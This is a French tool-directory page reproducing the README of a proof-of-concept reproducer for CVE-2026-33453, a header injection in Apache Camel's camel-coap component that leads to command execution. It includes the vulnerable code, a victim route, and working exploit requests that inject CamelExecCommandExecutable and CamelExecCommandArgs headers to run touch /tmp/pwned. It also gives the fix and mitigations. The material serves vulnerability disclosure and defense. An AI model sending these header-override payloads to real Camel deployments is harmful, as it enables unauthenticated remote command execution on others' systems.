Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33453 — Reproducteur pour CVE-2026-33453 : injection d'en-tête camel-coap Apache Camel vers RCE via camel-exec | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-33453
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHuboscerd/cve-2026-33453

CVE-2026-33453

Reproducteur pour CVE-2026-33453 : injection d'en-tête camel-coap Apache Camel vers RCE via camel-exec

Voir le dépôt
3il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

camel-coap Injection d'en-tête → Reproduceur de vulnérabilité RCE (CVE-2026-33453)

Ce projet démontre une vulnérabilité d'injection d'en-tête de message Camel dans le composant camel-coap d'Apache Camel, suivie sous le numéro CVE-2026-33453. Un attaquant non authentifié capable d'envoyer un seul paquet UDP CoAP peut injecter des en-têtes de contrôle Camel* arbitraires dans l'Exchange, réalisant une exécution de code à distance lorsque la route transmet à un producteur sensible aux en-têtes comme camel-exec.

Advisory: https://camel.apache.org/security/CVE-2026-33453.html

Résumé de la vulnérabilité

PropriétéValeur
Composantcamel-coap
Classe affectéeorg.apache.camel.coap.CamelCoapResource (handleRequest)
Cause racineParamètres de requête URI CoAP copiés dans les en-têtes Exchange sans HeaderFilterStrategy
CWECWE-915 : Contrôle inapproprié de la modification d'attributs d'objets déterminés dynamiquement
ImpactExécution de code à distance (via des producteurs sensibles aux en-têtes, ex. camel-exec)
Surface d'attaqueUn seul datagramme UDP CoAP non authentifié (port par défaut 5683)
Versions affectéesDe 4.14.0 avant 4.14.6, et de 4.15.0 avant 4.18.1
Versions corrigées4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23222
RapporteurHyunwoo Kim (@v4bel)

Détails techniques

Dans les versions affectées, CamelCoapResource.handleRequest() itère sur les options de requête URI de la requête CoAP et copie chacune d'elles dans les en-têtes In de l'Exchange Camel, sans appliquer aucun HeaderFilterStrategy :

root@kitploit:~
// CamelCoapResource.handleRequest() - version affectée
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    String name  = (i == -1) ? s : s.substring(0, i);
    String value = (i == -1) ? "" : s.substring(i + 1);
    camelExchange.getIn().setHeader(name, value);   // PAS DE HeaderFilterStrategy !
}

CoAPEndpoint étend DefaultEndpoint (pas DefaultHeaderFilterStrategyEndpoint) et CoAPComponent n'implémente pas HeaderFilterStrategyComponent, il n'y a donc aucun filtre. Un attaquant peut donc définir n'importe quel en-tête — y compris les en-têtes de contrôle Camel* internes à Camel — simplement en ajoutant des paramètres de requête à l'URI de la requête CoAP.

Lorsque la route délivre le message à un producteur sensible aux en-têtes, ces en-têtes modifient son comportement. Pour camel-exec, les en-têtes CamelExecCommandExecutable et CamelExecCommandArgs remplacent l'exécutable et les arguments configurés sur le point de terminaison (respectés par défaut dans les versions affectées), permettant l'exécution arbitraire de commandes OS. La sortie standard de la commande est réécrite dans le corps de l'Exchange et renvoyée dans la réponse CoAP, offrant un canal RCE interactif.

La route victime

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")     // commande fixe et inoffensive
    .convertBodyTo(String.class);   // retourne la sortie standard dans la réponse CoAP

Une requête bénigne exécute echo hello. Un attaquant remplace la commande via des en-têtes injectés.

Prérequis

  • Java 17+
  • Maven 3.8+

CoAP est basé sur UDP (RFC 7252) sans authentification intégrée (DTLS est optionnel et désactivé par défaut), donc aucun service externe ou conteneur Docker n'est requis — l'application de reproduction est à la fois le serveur CoAP vulnérable et un client attaquant intégré (un client brut tel que coap-client de libcoap fonctionne également).

Étapes de reproduction

Étape 1 : Compiler et démarrer

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

L'application démarre la route vulnérable sur coap://0.0.0.0:5683/run et un contrôleur REST d'assistance sur 8080.

Étape 2 : Requête bénigne (vérification de base)

root@kitploit:~
curl http://localhost:8080/exploit/normal
# -> Réponse CoAP : hello

Étape 3 : Attaque — injecter des en-têtes de remplacement exec via la requête URI CoAP

root@kitploit:~
# Preuve bénigne par défaut : touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"

# Choisir un exécutable/arguments différents :
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"

En interne, le client CoAP intégré envoie un seul datagramme :

root@kitploit:~
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned

Avec un client CoAP brut à la place :

root@kitploit:~
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"

Étape 4 : Vérifier

root@kitploit:~
ls -la /tmp/pwned

Si /tmp/pwned existe, l'en-tête injecté a remplacé la commande exec → RCE.

Vecteurs d'attaque

L'injection nécessite seulement un producteur sensible aux en-têtes en aval. L'avis liste, entre autres :

  • camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → exécution de commande OS
  • camel-file — CamelFileName → écriture de fichier arbitraire / traversée de chemin
  • camel-sql — en-têtes de contrôle de requête
  • camel-bean — CamelBeanMethodName → invoquer une méthode différente
  • composants de template (freemarker/velocity) — en-têtes de sélection de ressources

Conditions d'exploitation

  1. Une route Camel consommant depuis coap://....
  2. La route transmet à (ou est influencée par) un producteur sensible aux en-têtes.
  3. Aucun removeHeaders("Camel*") entre le consommateur CoAP et ce producteur.

Aucune authentification n'est requise ; un seul datagramme UDP vers le port 5683 suffit.

Correctif recommandé

Le correctif (CAMEL-23222) fait en sorte que CoAPEndpoint porte un HeaderFilterStrategy et l'applique dans handleRequest() avant de définir les en-têtes, de sorte que les noms préfixés par Camel* soient filtrés à la frontière CoAP comme tous les autres transports :

root@kitploit:~
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
    camelExchange.getIn().setHeader(name, value);
}

Atténuation

En attendant la mise à niveau :

  1. Supprimer les en-têtes Camel des messages provenant de CoAP : .removeHeaders("Camel*") juste après le from("coap:...").
  2. Éviter les producteurs sensibles aux en-têtes en aval d'une entrée CoAP non fiable, ou figer leur configuration pour que les en-têtes ne puissent pas la remplacer.
  3. Activer DTLS (coaps://) avec authentification client pour restreindre qui peut atteindre le point de terminaison.
  4. Segmentation réseau : garder le port CoAP sur un réseau de confiance.

Fichiers

root@kitploit:~
CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Point d'entrée Spring Boot
    │   ├── CoapExecRoute.java        # la route victime vulnérable (coap -> exec)
    │   └── ExploitController.java    # client attaquant CoAP intégré (/exploit/normal, /exploit/attack)
    └── resources/
        └── application.properties

Avertissement

Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil